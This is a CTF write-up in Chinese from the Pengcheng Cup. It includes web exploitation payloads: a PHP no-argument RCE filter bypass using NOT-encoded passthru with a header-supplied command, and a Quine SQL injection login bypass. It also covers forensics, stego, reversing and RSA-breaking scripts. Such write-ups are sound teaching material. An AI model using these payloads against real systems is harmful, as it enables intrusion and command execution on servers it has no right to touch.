鹏程杯wp
本文来自“白帽子社区知识星球”
作者:WHT战队
WHT战队招新:
WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。
有半年以上CTF竞赛经验的。
包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。
加分项:有一年以上CTF竞赛经验的各方向CTFer。
有意向的师傅请扫描二维码联系我们
简单php
源码如下
<?phpshow_source(__FILE__);$code = $_GET['code'];if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){die(' Hello');}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){@eval($code);}?>
禁用了可见字符,然后第二层是典型的无参rce
可以取反绕过,双数组,最后再无参rce
提交code参数[passthru][0]([end][0]([getallheaders][0]()));
添加http头,即可执行命令
GET/?code=[~%8F%9E%8C%8C%8B%97%8D%8A][!%ff]([~%9A%91%9B][!%ff]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%ff]()));HTTP/1.1Host: 192.168.1.111:8220User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64; rv:101.0) Gecko/20100101 Firefox/101.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closer0: cat /ffffflaggg

can_u_login
源码如下
<?phperror_reporting(0);highlight_file(__FILE__);$con= mysqli_connect("localhost","root","root","www");functionwaf($sql) {if (preg_match("/infor|sys|sql|thread|case|if|like|left|right|mid|cmp|sub|locate|position|match|find|field|sleep|repeat|lock|bench|process|<|>|=|xor|and|&&|\\\\/i", $sql)) {die("hacker");}}if(isset($_GET['password'])) {$password = $_GET['password'];waf($password);$sql = "SELECT password FROM users WHERE username='admin' and password='$password'";$user_result = mysqli_query($con,$sql);$row = mysqli_fetch_array($user_result);if ($row['password'] === $password) {include "/flag.txt";} else {echo "password error";}}
关键在 $row['password'] === $password
这里用到了SQL注入中的Quine注入
参考https://www.anquanke.com/post/id/253570
payload如下
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#url编码后提交即可登录绕过
GET/?password=%27%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%27%22%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%22%25%22%2c%30%78%32%32%2c%30%78%32%37%29%2c%30%78%32%35%2c%22%25%22%29%23%27%2c%30%78%32%32%2c%30%78%32%37%29%2c%30%78%32%35%2c%27%22%2f%2a%2a%2f%75%6e%69%6f%6e%2f%2a%2a%2f%73%65%6c%65%63%74%2f%2a%2a%2f%72%65%70%6c%61%63%65%28%72%65%70%6c%61%63%65%28%22%25%22%2c%30%78%32%32%2c%30%78%32%37%29%2c%30%78%32%35%2c%22%25%22%29%23%27%29%23HTTP/1.1Host: 192.168.1.112User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64; rv:101.0) Gecko/20100101 Firefox/101.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1

简单包含
题目有waf,但是仅对正常传数据的x-www-form-urlencoded做了检查,在传文件的同时携带post数据,则可绕过waf


之后采取伪协议读取flag.php即可
easygo
根据提供的附件,go.mod,在github上找到源码


存在postagesql的注入,注入即可

Misc_Water
下载附件,发现是一张图片和一个压缩包。而压缩包有密码,推测要从图片里找出密码。
观察图片,发现文件最后有个png图片,分离出来后,没什么用。

再次观察原始图片,发现在文件中间有jpg图片的影子

原来是把十六进制给反写了。将文件内容提取出来。再反写,得到一张jpg图片

根据题目“water”怀疑是盲水印。使用软件查看,得到密码:

解压题目中的压缩包,又得到一张图片,打开后,什么都看不到

怀疑是高度和宽度有问题。写脚本进行爆破
import zlibimport structfile ='/Users/sunwei/Downloads/Misc_water/show/111.png'fr = open(file,'rb').read()data = bytearray(fr[12:29])crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))n = 4095for w in range(n):#高和宽一起爆破width = bytearray(struct.pack('>i', w))for h in range(n):height = bytearray(struct.pack('>i', h))for x in range(4):data[x+4] = width[x]data[x+8] = height[x]crc32result = zlib.crc32(data)if crc32result == crc32key:print(width,height)newpic = bytearray(fr)for x in range(4):newpic[x+16] = width[x]newpic[x+20] = height[x]fw = open(file+'.png','wb')fw.write(newpic)fw.close
得到高度为733,宽度为186。修改图片后得到flag
what_is_log
下载附件,看提示,使用sysdig查看。为了能更晰显示,使用csysdig查看
csysdig -r flag2.scap
按F4,筛选出mysql

选择最后一个"mysql -uroot -p"

使用F5或按下面的“Echo”

往下滚动,就能看到输入的密码:

用PCL{}进行包裹,即是flag
简单取证
┌──(a㉿kali)-[~/桌面/volatility-master]└─$ python vol.py -f file.raw imageinfoVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search...Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)AS Layer1 : IA32PagedMemoryPae (Kernel AS)AS Layer2 : FileAddressSpace (/home/a/桌面/volatility-master/file.raw)PAE type : PAEDTB : 0xb37000LKDBG : 0x80546ae0LNumber of Processors : 1Image Type (Service Pack) : 3KPCR for CPU 0 : 0xffdff000LKUSER_SHARED_DATA : 0xffdf0000LImage date and time : 2022-06-20 13:00:12 UTC+0000Image local date and time : 2022-06-20 21:00:12 +0800\┌──(a㉿kali)-[~/桌面/volatility-master]└─$ python vol.py -f file.raw imageinfoVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search...Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)AS Layer1 : IA32PagedMemoryPae (Kernel AS)AS Layer2 : FileAddressSpace (/home/a/桌面/volatility-master/file.raw)PAE type : PAEDTB : 0xb37000LKDBG : 0x80546ae0LNumber of Processors : 1Image Type (Service Pack) : 3KPCR for CPU 0 : 0xffdff000LKUSER_SHARED_DATA : 0xffdf0000LImage date and time : 2022-06-20 13:00:12 UTC+0000Image local date and time : 2022-06-20 21:00:12 +0800┌──(a㉿kali)-[~/桌面/volatility-master]└─$ python vol.py -f file.raw --profile=WinXPSP2x86 filescan | grep 'secret'Volatility Foundation Volatility Framework 2.6.10x000000000207e3d8 1 0 RW-rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\Recent\secret.jpg (3).lnk0x0000000002325028 1 0 R--r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\secret.jpg┌──(a㉿kali)-[~/桌面/volatility-master]└─$ python vol.py -f file.raw --profile=WinXPSP2x86 dumpfiles -Q 0x2325028 --dump-dir=./Volatility Foundation Volatility Framework 2.6.1DataSectionObject 0x02325028 None \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\secret.jpg
得到了secret.jpg
但dump下来的文件为base64加密后的倒序的压缩包
#python3from binascii import *import base64import stringimport structdef BASE64(cipher,string1):string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"return (base64.b64decode(cipher.translate(str.maketrans(string1,string2))))f = open('file.txt','r')cipher = f.read()print(cipher)f.close()string1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"data = BASE64(cipher,string1)datas = [i for i in data][::-1]ff = open('file.zip','wb')for x in datas:a = struct.pack('B', x)ff.write(a)ff.close()
解密得到压缩包,但要密码
┌──(a㉿kali)-[~/桌面/volatility-master]python vol.py -f file.raw --profile=WinXPSP2x86 cmdscanVolatility Foundation Volatility Framework 2.6.1**************************************************CommandProcess: csrss.exe Pid: 620CommandHistory: 0x556bb8 Application: cmd.exe Flags: Allocated, ResetCommandCount: 1 LastAdded: 0 LastDisplayed: 0FirstCommand: 0 CommandCountMax: 50ProcessHandle: 0x328Cmd #0 @ 0x35baa90: echo password = 62b041223bb9a**************************************************CommandProcess: csrss.exe Pid: 620CommandHistory: 0x35e9e60 Application: DumpIt.exe Flags: AllocatedCommandCount: 0 LastAdded: -1 LastDisplayed: -1FirstCommand: 0 CommandCountMax: 50ProcessHandle: 0x568得到解压密码62b041223bb9a解压后得到flag.txt,发现行数不等于350*350,用脚本检验发现有缺失,感觉像二维码,有坐标的为白色块,没有的为黑色块,用下面脚本得到二维码from PIL import Imagef = open('flag.txt')lines = f.read()f.close()lines = lines.split('\n')dd = []for i in range(350):d=[]for j in range(350):d.append(1)dd.append(d)for k in range(len(lines)):l = lines[k].split(' ')x = eval(l[0])y = eval(l[1])= 0#print(dd[x][y])image = Image.new('RGB',(350,350))for i in range(350):for j in range(350):if dd[i][j] == 1:image.putpixel((i,j),(0,0,0))else:image.putpixel((i,j),(255,255,255))image.save('1.png')
扫码得到flag{a6b93e36-f097-11ec-a9b2-5254002d2b31}
换为PCL{}即可
baby_re
解压,有三个dex,用jeb打开classes3.dex
看到关键代码
package com.example.createso;import android.os.Bundle;import android.view.View;import android.widget.Toast;import androidx.appcompat.app.AppCompatActivity;import com.example.createso.databinding.ActivityMainBinding;import java.util.Arrays;import java.util.LinkedHashMap;import java.util.Map;import kotlin.Metadata;import kotlin.jvm.internal.DefaultConstructorMarker;import kotlin.jvm.internal.Intrinsics;(d1={"\u0000(\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\u0015\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0002\u0018\u0000 \f2\u00020\u0001:\u0001\fB\u0005¢\u0006\u0002\u0010\u0002J\u0011\u0010\u0005\u001A\u00020\u00062\u0006\u0010\u0007\u001A\u00020\u0006H\u0086 J\u0012\u0010\b\u001A\u00020\t2\b\u0010\n\u001A\u0004\u0018\u00010\u000BH\u0015R\u000E\u0010\u0003\u001A\u00020\u0004X\u0082.¢\u0006\u0002\n\u0000¨\u0006\r"}, d2={"Lcom/example/createso/MainActivity;", "Landroidx/appcompat/app/AppCompatActivity;", "()V", "binding", "Lcom/example/createso/databinding/ActivityMainBinding;", "baby_xor", "", "x", "onCreate", "", "savedInstanceState", "Landroid/os/Bundle;", "Companion", "app_debug"}, k=1, mv={1, 6, 0}, xi=0x30) public final class MainActivity extends AppCompatActivity {(d1={"\u0000\f\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0002\b\u0002\b\u0086\u0003\u0018\u00002\u00020\u0001B\u0007\b\u0002¢\u0006\u0002\u0010\u0002¨\u0006\u0003"}, d2={"Lcom/example/createso/MainActivity$Companion;", "", "()V", "app_debug"}, k=1, mv={1, 6, 0}, xi=0x30) public final class Companion {public Companion(DefaultConstructorMarker arg1) {this();}private Companion() {super();}}public static final Companion Companion;public Map _$_findViewCache;private ActivityMainBinding binding;public static void $r8$lambda$dncIOGhLA9zyL7XDrffGu6-OgvE(MainActivity arg0, int[] arg1, View arg2) {MainActivity.onCreate$lambda-0(arg0, arg1, arg2);}static {MainActivity.Companion = new Companion(null);System.loadLibrary("createso");}public MainActivity() {this._$_findViewCache = new LinkedHashMap();super();}public void _$_clearFindViewByIdCache() {this._$_findViewCache.clear();}public View _$_findCachedViewById(int arg4) {View v1_1;Map v0 = this._$_findViewCache;Object v1 = v0.get(Integer.valueOf(arg4));if(v1 == null) {v1_1 = this.findViewById(arg4);if(v1_1 != null) {v0.put(Integer.valueOf(arg4), v1_1);}else {v1_1 = null;}}return v1_1;}public final native int[] baby_xor(int[] arg1) {}protected void onCreate(Bundle arg4) {super.onCreate(arg4);ActivityMainBinding v0 = ActivityMainBinding.inflate(this.getLayoutInflater());Intrinsics.checkNotNullExpressionValue(v0, "inflate(layoutInflater)");this.binding = v0;if(v0 == null) {Intrinsics.throwUninitializedPropertyAccessException("binding");v0 = null;}this.setContentView(v0.getRoot());this._$_findCachedViewById(R$id.btn).setOnClickListener(new MainActivity$$ExternalSyntheticLambda0(this, new int[]{0x77, 9, 40, 44, 106, 83, 0x7E, 0x7B, 33, 87, 0x71, 0x7B, 0x70, 93, 0x7D, 0x7F, 41, 82, 44, 0x7F, 39, 3, 0x7E, 0x7D, 0x77, 87, 0x2F, 0x7D, 33, 6, 44, 0x7F, 0x70, 0, 0x7E, 0x7B, 0x73, 24}));}private static final void onCreate$lambda-0(MainActivity arg5, int[] arg6, View arg7) {Intrinsics.checkNotNullParameter(arg5, "this$0");Intrinsics.checkNotNullParameter(arg6, "$c");int[] v1 = arg5._$_findCachedViewById(R$id.input).getText().toString().chars().toArray();Intrinsics.checkNotNullExpressionValue(v1, "flag.toArray()");if(Arrays.equals(arg5.baby_xor(v1), arg6)) {Toast.makeText(arg5, "Success", 1).show();}else {Toast.makeText(arg5, "Failed", 0).show();}}}得到cipher = [0x77, 9, 40, 44, 106, 83, 0x7E, 0x7B, 33, 87, 0x71, 0x7B, 0x70, 93, 0x7D, 0x7F, 41, 82, 44, 0x7F, 39, 3, 0x7E, 0x7D, 0x77, 87, 0x2F, 0x7D, 33, 6, 44, 0x7F, 0x70, 0, 0x7E, 0x7B, 0x73, 24]有一个baby_xor,用ida打开libcreateso.so__int64 __fastcall Java_com_example_createso_MainActivity_baby_1xor(__int64 a1, __int64 a2, __int64 a3){int i; // [rsp+14h] [rbp-2Ch]__int64 v5; // [rsp+18h] [rbp-28h]unsigned int v6; // [rsp+24h] [rbp-1Ch]v6 = _JNIEnv::GetArrayLength(a1, a3);v5 = _JNIEnv::GetIntArrayElements(a1, a3, 0LL);for ( i = 0; i < (int)v6; ++i )*(_DWORD *)(v5 + 4LL * i) ^= key[i % 4];_JNIEnv::SetIntArrayRegion(a1, a3, 0LL, v6, v5);return a3;}看到key dd 56h, 57h, 58h, 59h还有一个_DWORD *hide_key(void){_DWORD *result; // raxresult = key;key[0] ^= 0x47u;key[1] ^= 0x32u;key[2] ^= 0x11u;key[3] ^= 0x12u;return result;}
将key先进行异或再与输入进行异或
得到解题脚本
c = [0x77, 9, 40, 44, 106, 83, 0x7E, 0x7B, 33, 87, 0x71, 0x7B, 0x70, 93, 0x7D, 0x7F, 41, 82, 44, 0x7F, 39, 3, 0x7E, 0x7D, 0x77, 87, 0x2F, 0x7D, 33, 6, 44, 0x7F, 0x70, 0, 0x7E, 0x7B, 0x73, 24]key = [0x56^0x47,0x57^0x32,0x58^0x11,0x59^0x12]f = ''for i in range(len(c)):f += chr(c[i]^key[i%4])print(f)
#flag{6700280a84487e46f76f2f60ce4ae70b}
#flag换成PCL即可
rota
base64编码表
XiIzDuAoGlaK6JcjM3g/9YQmHBOsxn1hLZ4w7Tt0PV5pNqUFC+rE2dSfyvWe8kRb=爆破密码
char p_base_table[] = "XiIzDuAoGlaK6JcjM3g/9YQmHBOsxn1hLZ4w7Tt0PV5pNqUFC+rE2dSfyvWe8kRb=";char key[] ={0x33, 0x34, 0x2C, 0x36, 0x1D, 0x12, 0x1E, 0x0C, 0x1A, 0x3C, 0x29, 0x10, 0x20, 0x14, 0x3D, 0x3B,0x19, 0x08, 0x0E, 0x1F, 0x30, 0x05, 0x38, 0x03, 0x11, 0x1B, 0x17, 0x21, 0x2E, 0x04, 0x18, 0x23,0x2B, 0x02, 0x27, 0x37, 0x1C, 0x24, 0x39, 0x3F, 0x35, 0x2D, 0x26, 0x13, 0x2A, 0x0A, 0x00, 0x07,0x3E, 0x01, 0x28, 0x2F, 0x32, 0x22, 0x0D, 0x06, 0x25, 0x3A, 0x09, 0x0F, 0x16, 0x0B, 0x15, 0x31,0x0C, 0x2C, 0x0D, 0x21, 0x22, 0x09, 0x02, 0x39, 0x31, 0x17, 0x1A, 0x33, 0x06, 0x24, 0x10, 0x04,0x1B, 0x0B, 0x34, 0x12, 0x38, 0x27, 0x0E, 0x20, 0x2B, 0x2E, 0x00, 0x13, 0x3E, 0x3A, 0x05, 0x1E,0x36, 0x08, 0x32, 0x29, 0x19, 0x23, 0x3D, 0x3B, 0x3C, 0x3F, 0x37, 0x30, 0x18, 0x16, 0x35, 0x25,0x0A, 0x2D, 0x28, 0x26, 0x15, 0x11, 0x07, 0x1D, 0x2A, 0x0F, 0x1F, 0x14, 0x01, 0x1C, 0x03, 0x2F,0x13, 0x0D, 0x35, 0x31, 0x07, 0x11, 0x1B, 0x23, 0x0B, 0x0C, 0x10, 0x25, 0x2B, 0x21, 0x33, 0x18,0x27, 0x29, 0x02, 0x2F, 0x28, 0x30, 0x0E, 0x19, 0x3C, 0x08, 0x34, 0x20, 0x3D, 0x2E, 0x05, 0x15,0x2C, 0x1C, 0x36, 0x22, 0x1E, 0x24, 0x38, 0x0A, 0x3F, 0x1A, 0x04, 0x26, 0x16, 0x2A, 0x3A, 0x1F,0x2D, 0x32, 0x06, 0x37, 0x03, 0x3B, 0x00, 0x17, 0x1D, 0x12, 0x09, 0x01, 0x3E, 0x39, 0x0F, 0x14,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};auto a = GetModuleHandleA("rota_1.exe");compute func = (compute)((long long)a + 0x1E10);char input[] = "6/GEJz9SXGXCXXXXXXXXXiPIXXXXXXXXXXXXXXXXXXX=";char passwd[] = "ksPhS/34MXifj+Ibtjud2Tikj5HkA7iTpbaNELBebOaIm";char result[256] = { 0 };for (int i = 0; i < 45; ++i){for (int j = 0; j <= sizeof(p_base_table); ++j){memcpy(input, result, i);input[i] = p_base_table[j];char out[256] = { 0 };char temp_key[sizeof(key)] = { 0 };memcpy(temp_key, key, sizeof(key));func(temp_key, input, out);if (0 == memcmp(passwd, out, i + 1)){result[i] = p_base_table[j];break;}}}printf("%s", result);
得到cAJ7BzX+6zHrHwnTc/i7Bz6f6t6EBQDvc/xfHt9d6S9
base64解码
得到flag:8cdd01062b7e90dd372c3ea9977be53e
maze
六边形迷宫,只有三个方向,r,l,t
迷宫地图找不到,想搜索路径,用pwntools写了个交互,搜索到路径
from pwn import *cmds = ['r','l','t']def f(cmd_list):n=0try:p = process('./maze')p.recvuntil('> ')for i in cmd_list:p.sendline(i)rev = p.recvuntil(' ')n += 1print(rev)p.close()return nexcept:return ndef ff(cmd_list,f1):cmds = ['r','l','t','x']for i in cmds:c = [k for k in cmd_list]c.append(i)#print(c)#print(cmd_list)if f(c) == len(c):c = ff(c,f1)f1.write(str(c))f1.write('\n')print(c)return cif __name__ == "__main__":f1= open('1.txt','w')cmd_list=[]ff(cmd_list,f1)f1.close()b'> 'b'> 'b'> 'b'> 'b'> '[*] Process './maze' stopped with exit code 0 (pid 7379)b'flag '['r', 'r', 'r', 'r', 't', 'l', 't', 'l', 't', 'l', 'l', 'l', 'l', 't', 'l', 'l', 't', 'r', 't', 'r', 'r', 'r', 'x'][+] Starting local process './maze': pid 7381b'> 'b'> 'b'> 'b'> 'b'> '
搜索得到正确路径
['r', 'r', 'r', 'r', 't', 'l', 't', 'l', 't', 'l', 'l', 'l', 'l', 't', 'l', 'l', 't', 'r', 't', 'r', 'r', 'r', 'x']x为我自己加的末尾标志
连起来取md5加PCL{}即可
PCL{988b0f23719099efcbd66586a168bab9}
easy_rsa
## easy_RSA
### 第一部分
查看代码,发现是e、phi不互素,套用脚本直接解出
import gmpy2from Crypto.Util.number import *
c=0x27455f081e4858790c6503580dad3302ae359c9fb46dc601eee98f05142128404e95377324720adbbdebf428549008bcd1b670f6749592a171b30316ab707004b9999f3b80de32843afdfd30505b1f4166a03cee9fc48902b74b6e850cfd268e6917c5d84e64f7e7cd0e4a30bfe5903fb5d821d27fdc817d9c4536a8e7aea55af266abcae857a8ffff2f741901baba1b44091a137c69c471c123ab0b80e250e055959c468e6e37c005105ecd7c8b48c659024e5e251df3eeff5da7b3d561cd98150da3575a16bee5f2524d2795fd4879487018345c1e96efc085ed45fb5f02c027aee5bca3aad0eb3e23376c0cd18b02fb05a1ff8fb1af0a3ce4bb671599894ep=0xbb602e402b68a5cfcc5cfcc63cc82e362e98cb7043817e3421599a4bb8755777c362813742852dad4fec7ec33f1faec04926f0c253f56ab4c4dde6d71627fbc9ef42425b70e5ecd55314e744aa66653103b7d1ba86d1e0e21920a0bfe7d598bd09c3c377a3268928b953005450857c6cfea5bfdd7c16305baed0f0a31ad688bdq=0xbb8d1ea24a3462ae6ec28e79f96a95770d726144afc95ffffa19c7c3a3786a6acc3309820ba7b1a28a4f111082e69e558b27405613e115139b38e799c723ab7fdd7be14b330b118ae60e3b44483a4c94a556e810ab94bbb102286d0100d7c20e7494e20e0c1030e016603bd2a06c1f6e92998ab68e2d420faf47f3ee687fb6d1e=0x292n = p*qphi = (p-1)*(q-1)t = gmpy2.gcd(e, phi)d = gmpy2.invert(e // t, phi)m = pow(c, d, n)print(m)msg = gmpy2.iroot(m, t)print(msg)if msg[1]:print(long_to_bytes(msg[0])
### 第二部分
查看代码,发现是已知p的高位。套用sagemeth脚本,解出p和q
def phase3(high_p, n):= PolynomialRing(Zmod(n), implementation='NTL')p = high_p + xx0 = p.small_roots(X = 2^60, beta = 0.1)[0]P = int(p(x0))Q = n // Pprint(P)print(Q)assert n == P*Qn=0x841a5a012c104e600eca17b451d5fd37c063ad347707a2e88f36a07e9ad4687302790466e99f35b11580cbe8b0a212e6709686c464a6393c5895b1f97885f23ea12d2069eb6dc3cb4199fb8c6e80a4a94561c6c3499c3c02d9dc9cf216c0f44dc91701a6d9ec89981f261a139500420a51014492f1da588a26e761439dd5739b32540ca6dc1ec3b035043bc535304a06ccb489f72fcd1aa856e1cffe195039176937f9a16bd19030d1e00095f1fd977cf4f23e47b55650ca4712d1eb089d92df032e5180d05311c938a44decc6070cd01af4c6144cdab2526e5cb919a1828bec6a4f3332bf1fa4f1c9d3516fbb158fd4fbcf8b0e67eff944efa97f5b24f9aa65p4=0xa9cb9e2eb43f17ad6734356db18ad744600d0c19449fc62b25db7291f24c480217d60a7f87252d890b97a38cc6943740ac344233446eea4084c1ba7ea5b7cf2399d42650b2a3f0302bab81295abfd7cacf248de62d3c63482c5ea8ab6b25cdbebc83eae855c1d07a8cf0408c2b721e43c4ac53262bf9aaf7a000000000000000e=0x10001c=0x3a80caebcee814e74a9d3d81b08b1130bed6edde2c0161799e1116ab837424fbc1a234b9765edfc47a9d634e1868105d4458c9b9a0d399b870adbaa2337ac62940ade08daa8a7492cdedf854d4d3a05705db3651211a1ec623a10bd60596e891ccc7b9364fbf2e306404aa2392f5598694dec0b8f7efc66e94e3f8a6f372d833941a2235ebf2fc77c163abcac274836380045b63cc9904d9b13c0935040eda6462b99dd01e8230fdfe2871124306e7bca5b356d16796351db37ec4e574137c926a4e07a2bfe76b9cbbfa4b5b010d678804df3e2f23b4ec42b8c8433fa4811bf1dc231855bea4225683529fad54a9b539fe824931b4fdafab67034e57338217fn)
再套用脚本,解出m2
import gmpy2from Crypto.Util.number import *e = 65537n=0x841a5a012c104e600eca17b451d5fd37c063ad347707a2e88f36a07e9ad4687302790466e99f35b11580cbe8b0a212e6709686c464a6393c5895b1f97885f23ea12d2069eb6dc3cb4199fb8c6e80a4a94561c6c3499c3c02d9dc9cf216c0f44dc91701a6d9ec89981f261a139500420a51014492f1da588a26e761439dd5739b32540ca6dc1ec3b035043bc535304a06ccb489f72fcd1aa856e1cffe195039176937f9a16bd19030d1e00095f1fd977cf4f23e47b55650ca4712d1eb089d92df032e5180d05311c938a44decc6070cd01af4c6144cdab2526e5cb919a1828bec6a4f3332bf1fa4f1c9d3516fbb158fd4fbcf8b0e67eff944efa97f5b24f9aa65p=119234372387564173916926418564504307771905987823894721284221707768770334474240277144999791051191061404002537779694672314673997030282474914206610847346023297970473719280866108677835517943804329212840618914863288766846702119011361533150365876285203805100986025166317939702179911918098037294325448226481818486521q=139862779248852876780236838155351435339041528333485708458669785004897778564234874018135441729896017420539905517964705602836874055417791439544162777504181482765029478481701166935117795286988835104239238153206137155845327225155932803904032184502243017645538314995056944419185855910939481260886933456330514972109print(q*p==n)c =0x3a80caebcee814e74a9d3d81b08b1130bed6edde2c0161799e1116ab837424fbc1a234b9765edfc47a9d634e1868105d4458c9b9a0d399b870adbaa2337ac62940ade08daa8a7492cdedf854d4d3a05705db3651211a1ec623a10bd60596e891ccc7b9364fbf2e306404aa2392f5598694dec0b8f7efc66e94e3f8a6f372d833941a2235ebf2fc77c163abcac274836380045b63cc9904d9b13c0935040eda6462b99dd01e8230fdfe2871124306e7bca5b356d16796351db37ec4e574137c926a4e07a2bfe76b9cbbfa4b5b010d678804df3e2f23b4ec42b8c8433fa4811bf1dc231855bea4225683529fad54a9b539fe824931b4fdafab67034e57338217fphi = (p-1)*(q-1)d = gmpy2.invert(e,phi)print(gmpy2.gcd(e, phi))m2 = pow(c,d,n)print(hex(m2))print(long_to_bytes(m2))
### 第三部分
查看代码。发现是n、c不互素。套用脚本,解出m3
import gmpy2import libnumn = 0xc2b17c86a8950f6dafe0a633890e4271cfb20c5ffda2d6b3d035afa655ed05ec16c67b18832ed887f2cea83056af079cc75c2ce43c90cce3ed02c2e07d256f240344f1734adeee6dc2b3b4bbf6dcfc68518d0a74e3e66f1865db95ef4204457e6471903c2321ac97f3b8e3d8d935896e9fc9145a30a3e24e7c320490a9944c1e94d301c8388445532699e6189f4aa6a86f67f1d9b8fb0de4225e005bd27594cd33e36622b2cd8eb2781f0c24d33267d9f29309158942b681aab81f39d1b4a73bd17431b46a89a0e4c2c58b1e24e850355c63b72392600d3fff7a16f6ef80ea515709da3ef1d28782882b0dd2f76bf609590db31979c5d1fd03f75d9d8f1c5069c = 0x1bd2a47a5d275ba6356e1e2bd10d6c870693be540e9318c746e807a7672f3a75cc63841170126d7dba52d7f6f9cf0f8dce9705fc1785cc670b2658b05d4b24d8918f95594844bfa920c8ffe73160c2c313b3fdbc4541ec19828165e34afa7d05271cc6fd59d08138b88c11677e6ac3b39cff525dcb19694b0388d895f53805a5e5bd8cfb947080e4855aaf83ebd85a397526f7d76d26031386900cb44a2e4bd121412bcee7a6c1e9af411e234f130e68a428596265d3ec647e50f65cb81393f4bd38389a2b9010fd715582506b9054dc235aced50757462b77a5606f116853af0c1ea3c7cf0d304f885d86081f8bac8b67b0625122f75448c5b6eb8f1cc8a0dfe = 0x10001p = gmpy2.gcd(n, c)q = n // passert n == p * qphi_n=(p-1)*(q-1)d=gmpy2.invert(e,phi_n)M=pow(c,d,n)#M= 2021 * 1001 * p*mm=M//(2022 * 1011 * p)print(libnum.n2s(int(m)))
三个部分和起来就是flag
baby_rsa
已知pow(2,e,n),就可以爆破出n:
先求2**e位数,得出是1050位。
再求出pow(2,e,n)的位数,是1039位。
而n是p*q。倍数小于等于1040位。我们可以爆破出n。
# 通过(2**e)mod(n)=A,可以得到2**e = A+kn,已知e,A。我们通过位数知道k的大概范围,而k又为整数,我们就可爆破k,再求出n。
n_l = []k_l = []t = 2**1049tmp = t-sfor k in range(1,2**11):if tmp%k==0:k_l.append(k)print(k_l)for i in k_l:tmp_n = (tmp//i)print(tmp_n.bit_length())n_l.append(tmp_n)print(n_l)
得出k的取值范围有:1, 3, 5, 9, 15, 23, 45, 69, 115, 207, 345, 1035
我们再通过位数,得出n的值为:
5823713380800241798127161208605473167667967902620702068684472024119185247468416314089247879281733463161248890572390983305415645926810810670115987090805775496828975940219063783825457069902831333895859965086768216313079359826260701972093534555185595188238549423953860497190971290229918600826572984225793661171633741用factordb.com分解,得出p、q的值分别为:
p = 170229264879724117919007372149468684565431232721075153274808454126426741324966131188484635914814926870341378228417496808202497615585946352638507704855332363766887139815236730403246238633855524068161116748612090155595549964229654262432946553891601975628848891407847198187453488358420350203927771308228162321231q = 34211
我们再写脚本,得出m混淆后的值:
import gmpy2p = 170229264879724117919007372149468684565431232721075153274808454126426741324966131188484635914814926870341378228417496808202497615585946352638507704855332363766887139815236730403246238633855524068161116748612090155595549964229654262432946553891601975628848891407847198187453488358420350203927771308228162321231q = 34211n=5823713380800241798127161208605473167667967902620702068684472024119185247468416314089247879281733463161248890572390983305415645926810810670115987090805775496828975940219063783825457069902831333895859965086768216313079359826260701972093534555185595188238549423953860497190971290229918600826572984225793661171633741e = 1049c = 3303523331971096467930886326777599963627226774247658707743111351666869650815726173155008595010291772118253071226982001526457616278548388482820628617705073304972902604395335278436888382882457685710065067829657299760804647364231959804889954665450340608878490911738748836150745677968305248021749608323124958372559270phi = (p-1)*(q-1)d =gmpy2.invert(e,phi)tmp_m = gmpy2.powmod(c,d,n)print(tmp_m)
得到混淆后m的值为:
tmp_m = 5647131855912861445959801473000904046916562928699152081503080575758020426807957155823449252476576485215605683437266835890889011723740507176262565985183961657923735947392895594055836719225094244682238166397289805533546643921357507282330115996821590563351999699513990659441764547850652946624613062168133173839972115再通过威尔逊定理求出原始m值,就可以得到flag:
